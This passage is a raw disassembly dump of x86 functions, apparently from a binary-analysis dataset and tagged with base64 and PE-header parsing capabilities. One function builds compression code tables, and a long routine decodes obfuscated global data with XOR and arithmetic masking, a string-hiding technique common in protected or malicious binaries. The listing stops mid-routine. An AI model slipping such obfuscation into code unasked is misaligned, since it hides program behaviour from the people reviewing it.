Function at 0x40fa90
Capabilities:
Encode data using base64
Parse pe header

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x110
mov esi, ecx
test edx, edx
je 0x40fe41
movaps xmm0, xmmword [str._b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_t_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_aUUUUUUUUUUUUUUUU3333333333333333]
movups xmmword [esi + 0x8f92], xmm0
movups xmmword [esi + 0x8f82], xmm0
movups xmmword [esi + 0x8f72], xmm0
movups xmmword [esi + 0x8f62], xmm0
movups xmmword [esi + 0x8f52], xmm0
movups xmmword [esi + 0x8f42], xmm0
movups xmmword [esi + 0x8f32], xmm0
movups xmmword [esi + 0x8f22], xmm0
movups xmmword [esi + 0x8f12], xmm0
movaps xmm0, xmmword [0x45e2b0]
movups xmmword [esi + 0x8fa2], xmm0
movups xmmword [esi + 0x8fb2], xmm0
movups xmmword [esi + 0x8fc2], xmm0
movups xmmword [esi + 0x8fd2], xmm0
movups xmmword [esi + 0x8fe2], xmm0
movups xmmword [esi + 0x8ff2], xmm0
movups xmmword [esi + 0x9002], xmm0
movaps xmm0, xmmword [0x45e2c0]
movups xmmword [esi + 0x9012], xmm0
mov dword [esi + 0x9026], 0x7070707
mov dword [esi + 0x9022], 0x7070707
mov dword [esi + 0x902e], 0x8080808
mov dword [esi + 0x902a], 0x8080808
movaps xmm0, xmmword [0x45e290]
movups xmmword [esi + 0x9032], xmm0
movups xmmword [esi + 0x9042], xmm0
xorps xmm0, xmm0
movups xmmword [esp + 8], xmm0
movups xmmword [esp + 0x18], xmm0
movups xmmword [esp + 0x28], xmm0
movups xmmword [esp + 0x38], xmm0
movups xmmword [esp + 0x48], xmm0
movups xmmword [esp + 0x58], xmm0
movups xmmword [esp + 0x68], xmm0
movups xmmword [esp + 0x78], xmm0
mov dword [esp + 0x88], 0
xor eax, eax
nop word cs:[eax + eax]
movzx ecx, byte [esi + eax + 0x8f12]
inc dword [esp + ecx*4 + 8]
movzx ecx, byte [esi + eax + 0x8f13]
inc dword [esp + ecx*4 + 8]
movzx ecx, byte [esi + eax + 0x8f14]
inc dword [esp + ecx*4 + 8]
movzx ecx, byte [esi + eax + 0x8f15]
inc dword [esp + ecx*4 + 8]
add eax, 4
cmp eax, 0x120
jne 0x40fbb0
mov dword [esp + 0x90], 0
xor eax, eax
mov ecx, 8
mov edx, 0xfffffffd
nop word cs:[eax + eax]
add eax, dword [esp + ecx + 4]
add eax, eax
mov dword [esp + ecx + 0x8c], eax
add eax, dword [esp + ecx + 8]
add eax, eax
mov dword [esp + ecx + 0x90], eax
add ecx, 8
add edx, 0xfffffffe
cmp edx, 0xffffffef
jne 0x40fc10
xor eax, eax
mov dword [esp + 4], esi
jmp 0x40fc61
and ecx, 1
test byte [esp], 1
lea ecx, [ecx + edi*2]
cmove ecx, edi
mov esi, dword [esp + 4]
mov word [esi + eax*2 + 0x8852], cx
inc eax
cmp eax, 0x120
je 0x40fcc5
movzx edx, byte [esi + eax + 0x8f12]
test edx, edx
je 0x40fc59
mov ecx, dword [esp + edx*4 + 0x8c]
lea esi, [ecx + 1]
mov dword [esp + edx*4 + 0x8c], esi
xor edi, edi
cmp dl, 1
mov dword [esp], edx
je 0x40fc40
mov ebx, edx
and ebx, 0xfffffffe
lea ebp, [edx + edx]
xor esi, esi
nop word cs:[eax + eax]
mov edi, ecx
shr edi, 1
mov edx, ecx
and edx, 1
add edx, edx
lea edx, [edx + esi*4]
and edi, 1
or edi, edx
shr ecx, 2
add ebp, 0xfffffffc
mov esi, edi
add ebx, 0xfffffffe
jne 0x40fca0
jmp 0x40fc40
xorps xmm0, xmm0
movups xmmword [esp + 8], xmm0
movups xmmword [esp + 0x18], xmm0
movups xmmword [esp + 0x28], xmm0
movups xmmword [esp + 0x38], xmm0
movups xmmword [esp + 0x48], xmm0
movups xmmword [esp + 0x58], xmm0
movups xmmword [esp + 0x68], xmm0
movups xmmword [esp + 0x78], xmm0
mov dword [esp + 0x88], 0
xor eax, eax
nop dword [eax]
movzx ecx, byte [esi + eax + 0x9032]
inc dword [esp + ecx*4 + 8]
movzx ecx, byte [esi + eax + 0x9033]
inc dword [esp + ecx*4 + 8]
movzx ecx, byte [esi + eax + 0x9034]
inc dword [esp + ecx*4 + 8]
movzx ecx, byte [esi + eax + 0x9035]
inc dword [esp + ecx*4 + 8]
add eax, 4
cmp eax, 0x20
jne 0x40fd00
mov dword [esp + 0x90], 0
xor eax, eax
mov ecx, 8
mov edx, 0xfffffffd
nop
add eax, dword [esp + ecx + 4]
add eax, eax
mov dword [esp + ecx + 0x8c], eax
add eax, dword [esp + ecx + 8]
add eax, eax
mov dword [esp + ecx + 0x90], eax
add ecx, 8
add edx, 0xfffffffe
cmp edx, 0xffffffef
jne 0x40fd50
xor eax, eax
jmp 0x40fd9f
and ecx, 1
test byte [esp], 1
lea ecx, [ecx + edi*2]
cmove ecx, edi
mov esi, dword [esp + 4]
mov word [esi + eax*2 + 0x8a92], cx
inc eax
cmp eax, 0x20
je 0x40fdf2
movzx edx, byte [esi + eax + 0x9032]
test edx, edx
je 0x40fd99
mov ecx, dword [esp + edx*4 + 0x8c]
lea esi, [ecx + 1]
mov dword [esp + edx*4 + 0x8c], esi
xor edi, edi
cmp dl, 1
mov dword [esp], edx
je 0x40fd80
mov ebx, edx
and ebx, 0xfffffffe
lea ebp, [edx + edx]
xor esi, esi
mov edi, ecx
shr edi, 1
mov edx, ecx
and edx, 1
add edx, edx
lea edx, [edx + esi*4]
and edi, 1
or edi, edx
shr ecx, 2
add ebp, 0xfffffffc
mov esi, edi
add ebx, 0xfffffffe
jne 0x40fdd0
jmp 0x40fd80
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0x48]
bts eax, ecx
mov dword [esi + 0x48], eax
add ecx, 2
mov dword [esi + 0x44], ecx
cmp ecx, 8
jae 0x40fe29
jmp 0x40fe48
shr eax, 8
mov dword [esi + 0x48], eax
mov edx, ecx
or edx, 0xfffffff7
and ecx, 0xfffffff7
add ecx, edx
inc ecx
mov dword [esi + 0x44], ecx
cmp ecx, 7
jbe 0x40fe48
mov edx, dword [esi + 0x30]
cmp edx, dword [esi + 0x34]
jae 0x40fe10
lea ecx, [edx + 1]
mov dword [esi + 0x30], ecx
mov byte [edx], al
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0x48]
jmp 0x40fe10
mov ecx, esi
call fcn.0040fe60
mov ecx, esi
add esp, 0x110
pop esi
pop edi
pop ebx
pop ebp
jmp 0x410ac0
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov esi, ecx
mov eax, dword [0x481d6c]
test eax, eax
jne 0x415a44
movsd xmm0, qword [0x463280]
xorps xmm0, xmmword [0x45e310]
mov eax, 0xbc05aa3b
xor eax, dword [0x463288]
movlps qword [0x4632d0], xmm0
mov dword [0x4632d8], eax
mov eax, dword [0x46328c]
mov ecx, eax
not ecx
or ecx, 0xeff55e50
or eax, 0x100aa1af
and eax, ecx
mov dword [0x4632dc], eax
movaps xmm0, xmmword [0x463290]
xorps xmm0, xmmword [0x45e320]
movaps xmmword [0x4632e0], xmm0
mov eax, dword [0x4632a0]
mov ecx, eax
not ecx
or eax, 0x45834ab1
or ecx, 0xba7cb54e
and ecx, eax
not ecx
mov dword [0x4632f0], ecx
mov eax, dword [str.qcDk]
lea ecx, [eax + eax]
and ecx, 0xd688c51c
neg ecx
add eax, ecx
add eax, 0x6b44628e
mov dword [0x4632f4], eax
mov eax, 0x4a1a5ffb
xor eax, dword [0x4632a8]
mov dword [0x4632f8], eax
mov eax, dword [0x4632ac]
lea ecx, [eax + eax]
and ecx, 0xa6bb75f0
neg ecx
add eax, ecx
add eax, 0x535dbaf8
mov dword [0x4632fc], eax
mov eax, 0x73596d85
xor eax, dword [0x4632b0]
mov dword [0x463300], eax
mov eax, dword [0x4632b4]
mov ecx, eax
not ecx
or ecx, 0xc6f35c42
or eax, 0x390ca3bd
and eax, ecx
mov dword [0x463304], eax
mov eax, dword [0x4632b8]
lea ecx, [eax + eax]
and ecx, 0x6e03f3c4
neg ecx
add eax, ecx
add eax, 0xb701f9e2
movsd xmm0, qword [0x4632bc]
xorps xmm0, xmmword [0x45e330]
mov dword [0x463308], eax
movsd xmm1, qword [0x463420]
xorps xmm1, xmmword [0x45e340]
movlps qword [0x46330c], xmm0
movlps qword [0x4634a0], xmm1
movzx eax, byte [0x463428]
mov ecx, eax
add cl, al
and cl, 0xa8
sub al, cl
add al, 0x54
mov byte [0x4634a8], al
movzx eax, byte [0x463429]
xor al, 5
mov byte [0x4634a9], al
movzx eax, byte [0x46342a]
mov ecx, eax
add cl, al
and cl, 0xac
sub al, cl
add al, 0x56
mov byte [0x4634aa], al
movzx eax, byte [0x46342b]
xor al, 0xb8
mov byte [0x4634ab], al
movzx eax, byte [0x46342c]
mov ecx, eax
add cl, al
and cl, 0x92
sub al, cl
add al, 0xc9
mov byte [0x4634ac], al
movsd xmm0, qword [str.__t]
xorps xmm0, xmmword [0x45e350]
movlps qword [str.lQU_vl], xmm0
movzx eax, byte [0x463435]
xor al, 0x38
mov byte [0x4634b5], al
movzx eax, byte [0x463436]
xor al, 0xe2
mov byte [0x4634b6], al
movzx eax, byte [0x463437]
mov ecx, eax
add cl, al
and cl, 0xa6
sub al, cl
add al, 0x53
mov byte [0x4634b7], al
movzx eax, byte [0x463438]
xor al, 0x3e
mov byte [0x4634b8], al
movzx eax, byte [0x463439]
xor al, 0x5c
mov byte [0x4634b9], al
movzx eax, byte [0x46343a]
mov ecx, eax
add cl, al
and cl, 0x7e
sub al, cl
add al, 0xbf
mov byte [0x4634ba], al
movzx eax, byte [0x46343b]
xor al, 0x2e
mov byte [0x4634bb], al
movzx eax, byte [0x46343c]
xor al, 0x5c
mov byte [0x4634bc], al
movzx eax, byte [0x46343d]
xor al, 0xe9
mov byte [0x4634bd], al
movzx eax, byte [0x46343e]
mov ecx, eax
add cl, al
and cl, 0xb0
sub al, cl
add al, 0xd8
mov byte [0x4634be], al
mov eax, 0xacfdba79
xor eax, dword [0x46343f]
mov dword [0x4634bf], eax
movzx eax, byte [0x463443]
xor al, 0x85
mov byte [0x4634c3], al
movzx eax, byte [0x463444]
xor al, 0x50
mov byte [0x4634c4], al
movzx eax, byte [0x463445]
mov ecx, eax
not cl
or al, 0xa8
or cl, 0x57
and cl, al
not cl
mov byte [0x4634c5], cl
movzx eax, byte [0x463446]
not al
mov byte [0x4634c6], al
movzx eax, byte [0x463447]
xor al, 0xdb
mov byte [0x4634c7], al
movzx eax, byte [0x463448]
mov ecx, eax
add cl, al
and cl, 0x70
sub al, cl
add al, 0xb8
mov byte [0x4634c8], al
movzx eax, byte [0x463449]
mov ecx, eax
add cl, al
and cl, 0xb6
sub al, cl
add al, 0xdb
mov byte [0x4634c9], al
movsd xmm0, qword [0x46344a]
xorps xmm0, xmmword [0x45e360]
movlps qword [0x4634ca], xmm0
movzx eax, byte [0x463452]
mov ecx, eax
not cl
or cl, 0x59
or al, 0xa6
and al, cl
mov byte [0x4634d2], al
movzx eax, byte [0x463453]
xor al, 0xfb
mov byte [0x4634d3], al
movzx eax, byte [0x463454]
xor al, 0x15
mov byte [0x4634d4], al
movzx eax, byte [0x463455]
xor al, 0x1a
mov byte [0x4634d5], al
movzx eax, byte [0x463456]
mov ecx, eax
add cl, al
and cl, 0xe2
sub al, cl
add al, 0xf1
mov byte [0x4634d6], al
movzx eax, byte [0x463457]
mov ecx, eax
add cl, al
and cl, 0xcc
sub al, cl
add al, 0xe6
mov byte [0x4634d7], al
movzx eax, byte [0x463458]
xor al, 0x5b
mov byte [0x4634d8], al
movzx eax, byte [0x463459]
mov ecx, eax
add cl, al
and cl, 0xc8
sub al, cl
add al, 0xe4
mov byte [0x4634d9], al
movsd xmm0, qword [0x46345a]
xorps xmm0, xmmword [0x45e370]
movlps qword [0x4634da], xmm0
mov eax, 0xfea80d0d
xor eax, dword [0x463462]
mov dword [0x4634e2], eax
movzx eax, byte [0x463466]
xor al, 0x98
mov byte [str._tp_rV], al
movzx eax, byte [0x463467]
mov ecx, eax
not cl
or al, 0xa8
or cl, 0x57
and cl, al
not cl
mov byte [0x4634e7], cl
movzx eax, byte [0x463468]
mov ecx, eax
add cl, al
and cl, 0x26
sub al, cl
add al, 0x13
mov byte [0x4634e8], al
movzx eax, byte [0x463469]
xor al, 0x55
mov byte [0x4634e9], al
movzx eax, byte [0x46346a]
mov ecx, eax
not cl
or al, 0x52
or cl, 0xad
and cl, al
not cl
mov eax, 0xc22c7db3
xor eax, dword [0x46346b]
mov byte [0x4634ea], cl
mov dword [0x4634eb], eax
movzx eax, byte [0x46346f]
mov ecx, eax
add cl, al
and cl, 0xc4
sub al, cl
add al, 0x62
mov byte [0x4634ef], al
movaps xmm0, xmmword [0x463470]
xorps xmm0, xmmword [0x45e380]
movss dword [0x4634f0], xmm0
movzx eax, byte [0x463474]
xor al, 5
mov byte [0x4634f4], al
movzx eax, byte [0x463475]
mov ecx, eax
add cl, al
and cl, 0x44
sub al, cl
add al, 0xa2
mov byte [0x4634f5], al
movups xmm0, xmmword [0x463476]
xorps xmm0, xmmword [0x45e390]
movups xmmword [0x4634f6], xmm0
mov eax, 0x309380bb
xor eax, dword [0x463486]
mov dword [0x463506], eax
movzx eax, byte [0x46348a]
xor al, 0x32
mov byte [0x46350a], al
movzx eax, byte [0x46348b]
xor al, 0x99
mov byte [0x46350b], al
movzx eax, byte [0x46348c]
mov ecx, eax
add cl, al
and cl, 0x32
sub al, cl
add al, 0x99
mov byte [0x46350c], al
movzx eax, byte [0x46348d]
mov ecx, eax
add cl, al
and cl, 0xaa
sub al, cl
add al, 0x55
mov byte [0x46350d], al
movzx eax, byte [0x46348e]
xor al, 0x87
mov byte [0x46350e], al
movzx eax, byte [0x46348f]
xor al, 0x4d
mov byte [0x46350f], al
movzx eax, byte [0x463490]
xor al, 0xd5
mov byte [0x463510], al
movzx eax, byte [0x463491]
mov ecx, eax
not cl
or cl, 0xc6
or al, 0x39
and al, cl
mov byte [0x463511], al
movzx eax, byte [0x463492]
xor al, 0x1c
mov byte [0x463512], al
movzx eax, byte [0x463493]
mov ecx, eax
add cl, al
and cl, 0xba
sub al, cl
add al, 0x5d
mov byte [0x463513], al
movzx eax, byte [0x463494]
mov ecx, eax
add cl, al
and cl, 4
sub al, cl
add al, 2
mov byte [0x463514], al
movzx eax, byte [0x463495]
mov ecx, eax
add cl, al
and cl, 0x30
sub al, cl
add al, 0x18
mov byte [0x463515], al
movzx eax, byte [0x463496]
xor al, 0x71
mov byte [0x463516], al
movzx eax, byte [0x463497]
xor al, 0x94
mov byte [0x463517], al
movzx eax, byte [0x463498]
mov ecx, eax
not cl
or cl, 0xe1
or al, 0x1e
and al, cl
mov byte [0x463518], al
mov eax, 0x6587572
xor eax, dword [str.ohEe]
mov dword [0x463519], eax
movzx eax, byte [0x46349d]
mov ecx, eax
not cl
or cl, 0xdf
or al, 0x20
and al, cl
mov byte [0x46351d], al
movzx eax, byte [0x46349e]
xor al, 0x91
mov byte [0x46351e], al
movzx eax, byte [0x46349f]
xor al, 0x6b
mov byte [0x46351f], al
movzx eax, byte [0x462a80]
xor al, 0x5c
mov byte [0x462c80], al
movzx eax, byte [0x462a81]
xor al, 0x86
mov byte [0x462c81], al
movzx eax, byte [0x462a82]
mov ecx, eax
add cl, al
and cl, 0x5e
sub al, cl
add al, 0x2f
mov byte [0x462c82], al
movzx eax, byte [0x462a83]
xor al, 0xc5
mov byte [0x462c83], al
movzx eax, byte [0x462a84]
xor al, 0xa5
mov byte [0x462c84], al
movzx eax, byte [0x462a85]
mov ecx, eax
not cl
or cl, 0xe6
or al, 0x19
and al, cl
mov byte [0x462c85], al
movzx eax, byte [0x462a86]
mov ecx, eax
not cl
or cl, 0x20
or al, 0xdf
and al, cl
movsd xmm0, qword [0x462a87]
xorps xmm0, xmmword [0x45e3a0]
mov byte [0x462c86], al
movlps qword [0x462c87], xmm0
movzx eax, byte [0x462a8f]
mov ecx, eax
add cl, al
and cl, 0x88
sub al, cl
add al, 0xc4
mov byte [0x462c8f], al
movzx eax, byte [0x462a90]
xor al, 0xaf
mov byte [0x462c90], al
movzx eax, byte [0x462a91]
xor al, 0x93
mov byte [str.Sold], al
movzx eax, byte [0x462a92]
mov ecx, eax
add cl, al
and cl, 0xea
sub al, cl
add al, 0x75
mov byte [0x462c92], al
movzx eax, byte [0x462a93]
xor al, 0x60
mov byte [0x462c93], al
movzx eax, byte [0x462a94]
mov ecx, eax
add cl, al
and cl, 0x96
sub al, cl
add al, 0xcb
mov byte [0x462c94], al
movzx eax, byte [0x462a95]
xor al, 0x68
mov byte [0x462c95], al
movzx eax, byte [0x462a96]
xor al, 0xfd
mov byte [0x462c96], al
movzx eax, byte [0x462a97]
mov ecx, eax
add cl, al
and cl, 0x2a
sub al, cl
add al, 0x95
mov byte [0x462c97], al
movzx eax, byte [0x462a98]
mov ecx, eax
add cl, al
and cl, 0x40
sub al, cl
add al, 0xa0
mov byte [0x462c98], al
movups xmm0, xmmword [0x462a99]
xorps xmm0, xmmword [0x45e3b0]
movups xmmword [0x462c99], xmm0
mov eax, 0xee481831
xor eax, dword [0x462aa9]
mov dword [0x462ca9], eax
movzx eax, byte [0x462aad]
mov ecx, eax
add cl, al
and cl, 0x4c
sub al, cl
add al, 0x26
mov byte [0x462cad], al
movzx eax, byte [0x462aae]
xor al, 0x6c
mov byte [0x462cae], al
movzx eax, byte [0x462aaf]
mov ecx, eax
add cl, al
and cl, 0xa6
sub al, cl
add al, 0xd3
mov byte [0x462caf], al
movzx eax, byte [0x462ab0]
mov ecx, eax
add cl, al
and cl, 0x14
sub al, cl
add al, 0x8a
mov byte [0x462cb0], al
movzx eax, byte [0x462ab1]
xor al, 0xb3
mov byte [0x462cb1], al
movzx eax, byte [0x462ab2]
mov ecx, eax
add cl, al
and cl, 0x18
sub al, cl
add al, 0xc
mov ecx, 0x6740ad8d
xor ecx, dword [0x462ab3]
mov byte [0x462cb2], al
mov dword [0x462cb3], ecx
movzx eax, byte [0x462ab7]
xor al, 0x13
mov byte [0x462cb7], al
movzx eax, byte [0x462ab8]
xor al, 1
mov byte [0x462cb8], al
movzx eax, byte [0x462ab9]
mov ecx, eax
add cl, al
and cl, 0xda
sub al, cl
add al, 0x6d
mov byte [0x462cb9], al
mov eax, 0x39341e93
xor eax, dword [0x462aba]
mov dword [0x462cba], eax
movzx eax, byte [0x462abe]
xor al, 0x79
mov byte [0x462cbe], al
movzx eax, byte [0x462abf]
mov ecx, eax
not cl
or al, 0x85
or cl, 0x7a
and cl, al
not cl
mov byte [0x462cbf], cl
movzx eax, byte [0x462ac0]
mov ecx, eax
add cl, al
and cl, 0xfa
sub al, cl
add al, 0xfd
mov byte [0x462cc0], al
mov eax, 0x2f3bb231
xor eax, dword [0x462ac1]
mov dword [0x462cc1], eax
movzx eax, byte [0x462ac5]
mov ecx, eax
add cl, al
and cl, 0xc0
sub al, cl
add al, 0xe0
mov byte [0x462cc5], al
movzx eax, byte [0x462ac6]
mov ecx, eax
not cl
or al, 0x98
or cl, 0x67
and cl, al
not cl
mov byte [0x462cc6], cl
movzx eax, byte [0x462ac7]
xor al, 0x7e
mov byte [0x462cc7], al
movzx eax, byte [0x462ac8]
mov ecx, eax
add cl, al
and cl, 0xa4
sub al, cl
add al, 0xd2
mov ecx, 0x721e7ae
xor ecx, dword [0x462ac9]
mov byte [0x462cc8], al
mov dword [0x462cc9], ecx
movzx eax, byte [0x462acd]
xor al, 0xd9
mov byte [0x462ccd], al
movzx eax, byte [0x462ace]
xor al, 0xae
mov byte [0x462cce], al
movzx eax, byte [0x462acf]
mov ecx, eax
add cl, al
and cl, 0x88
sub al, cl
add al, 0x44
mov byte [0x462ccf], al
movzx eax, byte [0x462ad0]
mov ecx, eax
add cl, al
and cl, 0xe0
sub al, cl
add al, 0xf0
mov ecx, 0x4146f8f0
xor ecx, dword [0x462ad1]
mov byte [0x462cd0], al
mov dword [0x462cd1], ecx
movzx eax, byte [0x462ad5]
mov ecx, eax
add cl, al
and cl, 0xa6
sub al, cl
add al, 0xd3
mov byte [0x462cd5], al
movzx eax, byte [0x462ad6]
xor al, 0x64
mov byte [0x462cd6], al
movzx eax, byte [0x462ad7]
xor al, 0x35
mov byte [0x462cd7], al
movzx eax, byte [0x462ad8]
xor al, 0xef
mov byte [0x462cd8], al
movzx eax, byte [0x462ad9]
mov ecx, eax
not cl
or al, 0xde
or cl, 0x21
and cl, al
not cl
movsd xmm0, qword [0x462ada]
xorps xmm0, xmmword [0x45e3c0]
mov byte [0x462cd9], cl
movlps qword [0x462cda], xmm0
movzx eax, byte [str.u_t_nk]
xor al, 0x78
mov byte [0x462ce2], al
movzx eax, byte [0x462ae3]
xor al, 0x53
mov byte [0x462ce3], al
movzx eax, byte [0x462ae4]
mov ecx, eax
add cl, al
and cl, 8
sub al, cl
add al, 4
mov byte [0x462ce4], al
movzx eax, byte [0x462ae5]
xor al, 0x2b
mov byte [0x462ce5], al
movzx eax, byte [0x462ae6]
xor al, 7
mov byte [0x462ce6], al
movzx eax, byte [0x462ae7]
mov ecx, eax
add cl, al
and cl, 0xcc
sub al, cl
add al, 0x66
mov byte [0x462ce7], al
movzx eax, byte [0x462ae8]
xor al, 0xca
mov byte [0x462ce8], al
movzx eax, byte [0x462ae9]
mov ecx, eax
add cl, al
and cl, 0xc0
sub al, cl
add al, 0xe0
mov ecx, 0x9729f615
xor ecx, dword [0x462aea]
mov byte [0x462ce9], al
mov dword [0x462cea], ecx
movzx eax, byte [0x462aee]
mov ecx, eax
not cl
or cl, 0x60
or al, 0x9f
and al, cl
mov byte [0x462cee], al
movzx eax, byte [0x462aef]
mov ecx, eax
add cl, al
and cl, 2
sub al, cl
add al, 0x81
mov byte [0x462cef], al
movaps xmm0, xmmword [0x462af0]
xorps xmm0, xmmword [0x45e3d0]
movss dword [0x462cf0], xmm0
movzx eax, byte [0x462af4]
movsd xmm0, qword [0x462af5]
xorps xmm0, xmmword [0x45e3e0]
mov byte [0x462cf4], al
movlps qword [0x462cf5], xmm0
movzx eax, byte [0x462afd]
xor al, 0xf
mov byte [0x462cfd], al
movzx eax, byte [0x462afe]
mov ecx, eax
not cl
or al, 0xbb
or cl, 0x44
and cl, al
not cl
mov byte [0x462cfe], cl
movzx eax, byte [0x462aff]
mov ecx, eax
add cl, al
and cl, 0x98
sub al, cl
add al, 0xcc
mov byte [0x462cff], al
movzx eax, byte [0x462b00]
xor al, 0xa5
mov byte [0x462d00], al
movzx eax, byte [0x462b01]
xor al, 0x8b
mov byte [0x462d01], al
movzx eax, byte [0x462b02]
mov ecx, eax
not cl
or cl, 4
or al, 0xfb
and al, cl
mov byte [0x462d02], al
movsd xmm0, qword [0x462b03]
xorps xmm0, xmmword [0x45e3f0]
movlps qword [0x462d03], xmm0
movzx eax, byte [0x462b0b]
mov ecx, eax
add cl, al
and cl, 0xf6
sub al, cl
add al, 0xfb
mov byte [0x462d0b], al
movzx eax, byte [0x462b0c]
xor al, 0xc5
mov byte [0x462d0c], al
movzx eax, byte [0x462b0d]
xor al, 0x1f
mov byte [0x462d0d], al
movzx eax, byte [0x462b0e]
mov ecx, eax
add cl, al
and cl, 0xb8
sub al, cl
add al, 0x5c
mov byte [0x462d0e], al
mov eax, 0x545ea66e
xor eax, dword [0x462b0f]
mov dword [0x462d0f], eax
movzx eax, byte [0x462b13]
mov ecx, eax
add cl, al
and cl, 0xd4
sub al, cl
add al, 0x6a
mov byte [0x462d13], al
movzx eax, byte [0x462b14]
xor al, 0xed
mov byte [0x462d14], al
movzx eax, byte [0x462b15]
xor al, 0x58
mov byte [0x462d15], al
movzx eax, byte [0x462b16]
xor al, 0x37
mov byte [0x462d16], al
movzx eax, byte [0x462b17]
mov ecx, eax
add cl, al
and cl, 0x5a
sub al, cl
add al, 0xad
mov byte [0x462d17], al
movzx eax, byte [0x462b18]
xor al, 0x99
mov byte [0x462d18], al
movzx eax, byte [0x462b19]
xor al, 0x98
mov byte [0x462d19], al
movzx eax, byte [0x462b1a]
xor al, 0xab
mov byte [0x462d1a], al
movzx eax, byte [str.7_vL]
mov ecx, eax
add cl, al
and cl, 0x72
sub al, cl
add al, 0x39
mov byte [0x462d1b], al
movzx eax, byte [0x462b1c]
xor al, 5
mov byte [0x462d1c], al
movzx eax, byte [0x462b1d]
mov ecx, eax
add cl, al
and cl, 0x84
sub al, cl
add al, 0x42
movsd xmm0, qword [0x462b1e]
xorps xmm0, xmmword [0x45e400]
mov byte [0x462d1d], al
movlps qword [0x462d1e], xmm0
movzx eax, byte [0x462b26]
xor al, 0xc7
mov byte [0x462d26], al
movzx eax, byte [0x462b27]
mov ecx, eax
not cl
or al, 0x3d
or cl, 0xc2
and cl, al
not cl
mov byte [0x462d27], cl
movzx eax, byte [0x462b28]
mov ecx, eax
add cl, al
and cl, 0xe8
sub al, cl
add al, 0xf4
mov byte [0x462d28], al
mov eax, 0x971e8ef2
xor eax, dword [0x462b29]
mov dword [0x462d29], eax
movzx eax, byte [0x462b2d]
xor al, 0x1a
mov byte [str.ZW], al
movzx eax, byte [0x462b2e]
mov ecx, eax
add cl, al
and cl, 0xf4
sub al, cl
add al, 0xfa
mov byte [0x462d2e], al
movzx eax, byte [0x462b2f]
xor al, 0xa5
mov byte [0x462d2f], al
movzx eax, byte [0x462b30]
mov ecx, eax
add cl, al
and cl, 0x20
sub al, cl
add al, 0x90
mov byte [0x462d30], al
movups xmm0, xmmword [0x462b31]
xorps xmm0, xmmword [0x45e410]
movups xmmword [0x462d31], xmm0
movzx eax, byte [0x462b41]
xor al, 0x6a
mov byte [0x462d41], al
movzx eax, byte [0x462b42]
xor al, 0x45
mov byte [0x462d42], al
movzx eax, byte [0x462b43]
xor al, 0xcc
mov byte [0x462d43], al
movzx eax, byte [0x462b44]
mov ecx, eax
add cl, al
and cl, 8
sub al, cl
add al, 0x84
mov byte [0x462d44], al
movsd xmm0, qword [0x462b45]
xorps xmm0, xmmword [0x45e420]
movlps qword [0x462d45], xmm0
movzx eax, byte [0x462b4d]
mov ecx, eax
add cl, al
and cl, 0x20
sub al, cl
add al, 0x10
mov byte [0x462d4d], al
movsd xmm0, qword [0x462b4e]
xorps xmm0, xmmword [0x45e430]
movlps qword [0x462d4e], xmm0
movzx eax, byte [0x462b56]
xor al, 0xc8
mov byte [0x462d56], al
movzx eax, byte [0x462b57]
xor al, 0x7e
mov byte [0x462d57], al
movzx eax, byte [0x462b58]
xor al, 0xa3
mov byte [0x462d58], al
movzx eax, byte [0x462b59]
mov ecx, eax
add cl, al
and cl, 0xa4
sub al, cl
add al, 0xd2
mov byte [0x462d59], al
movzx eax, byte [0x462b5a]
xor al, 0xb8
mov byte [0x462d5a], al
movzx eax, byte [0x462b5b]
mov ecx, eax
add cl, al
and cl, 0xa6
sub al, cl
add al, 0xd3
mov byte [0x462d5b], al
movzx eax, byte [0x462b5c]
xor al, 0xd8
mov byte [0x462d5c], al
movzx eax, byte [0x462b5d]
xor al, 0x93
mov byte [0x462d5d], al
movzx eax, byte [0x462b5e]
xor al, 0xc0
mov byte [0x462d5e], al
movzx eax, byte [0x462b5f]
mov ecx, eax
add cl, al
and cl, 0x98
sub al, cl
add al, 0xcc
mov byte [0x462d5f], al
movaps xmm0, xmmword [0x462b60]
xorps xmm0, xmmword [0x45e440]
movss dword [0x462d60], xmm0
movzx eax, byte [0x462b64]
xor al, 0x85
mov byte [0x462d64], al
movzx eax, byte [0x462b65]
xor al, 0xb1
mov byte [0x462d65], al
movzx eax, byte [str.Ctn_]
xor al, 0x4c
mov byte [0x462d66], al
movzx eax, byte [0x462b67]
mov ecx, eax
not cl
or al, 0x84
or cl, 0x7b
and cl, al
not cl
mov eax, 0xf2892a61
xor eax, dword [0x462b68]
mov byte [0x462d67], cl
mov dword [0x462d68], eax
movzx eax, byte [0x462b6c]
xor al, 0x7e
mov byte [0x462d6c], al
movzx eax, byte [0x462b6d]
xor al, 0xa1
mov byte [0x462d6d], al
movzx eax, byte [0x462b6e]
mov ecx, eax
not cl
or cl, 5
or al, 0xfa
and al, cl
mov byte [0x462d6e], al
movzx eax, byte [0x462b6f]
xor al, 0x9e
mov byte [0x462d6f], al
movzx eax, byte [0x462b70]
mov ecx, eax
add cl, al
and cl, 0x96
sub al, cl
add al, 0xcb
mov byte [0x462d70], al
movzx eax, byte [0x462b71]
xor al, 0xb2
mov byte [0x462d71], al
movzx eax, byte [0x462b72]
xor al, 0x25
mov byte [0x462d72], al
movzx eax, byte [0x462b73]
mov ecx, eax
not cl
or al, 0x41
or cl, 0xbe
and cl, al
not cl
mov byte [0x462d73], cl
movzx eax, byte [0x462b74]
xor al, 0xb6
mov byte [0x462d74], al
movzx eax, byte [0x462b75]
xor al, 0x9c
mov byte [0x462d75], al
movzx eax, byte [0x462b76]
xor al, 0xec
mov byte [0x462d76], al
movzx eax, byte [0x462b77]
mov ecx, eax
add cl, al
and cl, 0x8e
sub al, cl
add al, 0x47
mov byte [0x462d77], al
movzx eax, byte [0x462b78]
mov ecx, eax
add cl, al
and cl, 0xc8
sub al, cl
add al, 0xe4
mov byte [0x462d78], al
movzx eax, byte [0x462b79]
xor al, 0xfe
mov byte [0x462d79], al
movzx eax, byte [0x462b7a]
mov ecx, eax
add cl, al
and cl, 0xb0
sub al, cl
add al, 0x58
mov byte [0x462d7a], al
movsd xmm0, qword [0x462b7b]
xorps xmm0, xmmword [0x45e450]
movlps qword [0x462d7b], xmm0
mov eax, 0x4197f972
xor eax, dword [0x462b83]
mov dword [0x462d83], eax
movzx eax, byte [0x462b87]
